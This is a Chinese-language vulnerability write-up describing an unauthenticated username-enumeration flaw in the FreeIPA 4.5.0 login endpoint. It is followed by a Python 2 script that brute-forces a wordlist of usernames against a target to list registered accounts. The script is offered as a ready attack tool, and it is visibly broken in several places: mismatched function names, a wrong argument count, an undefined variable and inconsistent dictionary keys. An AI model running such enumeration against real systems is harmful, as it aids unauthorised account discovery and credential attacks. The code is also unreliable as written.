freeipa未授权遍历注册账户漏洞

一、freeipa简介：

freeipa是一款集成的安全信息管理解决方案。freeipa包含Linux (Fedora),389 Directory Server MIT Kerberos, NTP, DNS, Dogtag (Certificate System)等等身份，认证和策略功能。freeipa还集成了ldap+Kerberos（Kerberos 认证原理不多说，简单的说就是在身份认证的时候不传输密码，而是在传输票据，更加安全可靠）+web管理的集中式用户认证管理系统（系统级别的sso，可以对apache，ftp，nfs,ldap,smtp ，ssh做身份认证。但是对samba 的身份认证不支持。samba貌似只支持AD）,同时还可以与微软的AD进行用户信息的同步。

二、freeip漏洞环境：

1、版本：4.5.0

2、漏洞点（URL）：https://target_ip/ipa/session/login_password

3、漏洞原理：登录页面对于用户名字段的验证存在查库行为，user是否在库中的结果信息反回到了前端。

4、登录需求：不需要登录。

三、漏洞验证

第一张图验证不存在的账户

第二张图验证存在的账户

可以写一个脚本来跑出所有注册用户：

 -*- coding:utf-8 -*-
'''
freeipa注册账户描爆破测试脚本
freeipa版本 4.5.0
'''

#引入包文件：
import sys
import time
import requests

#全局变量定义：
header_struct = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko/20100101 Firefox/58.0",
    "Referer": "https://%s/ipa/ui/",
    "X-Requested-With": "XMLHttpRequest",
}

post_data = {"user":"","password":"just so so"}
username_dict = "./username.txt"
username_list = []

#全局函数定义：
def username_list_init_from_file():
    """从用户名字典文件中获取用户名"""
    with open(username_dict,"r") as fr:
        for line in fr.readlines():
            line = line.split("
")[0].split("
")[0]
            username_list.append(line)

def send_crack_packet(username,target):
    """发送爆破登录请求报文"""
    global post_data
    global header_struct
    url = "https://%s/ipa/session/login_password"%str(target)
    header_struct["referer"] = header_struct["referer"]%str(target)
    post_data["username"] = username
    try:
        response = requests.post(url,headers=header_struct,data=post_data,verify=False)
    except Exception,ex:
        print ex
        return False
    if response.content.find("Password incorrect while getting initial credentials") >= 0:
        return True
    else:
        return False

def crack(target):
    """遍历用户名字典，尝试破解"""
    for user in username_list:
        if send_crack_packet(user):
            print "Cracked!"
            print "Find a register user! Username:",pswd

if __name__ == "__main__":
    target = sys.argv[1]
    user_list_init_from_file()
    crack(target)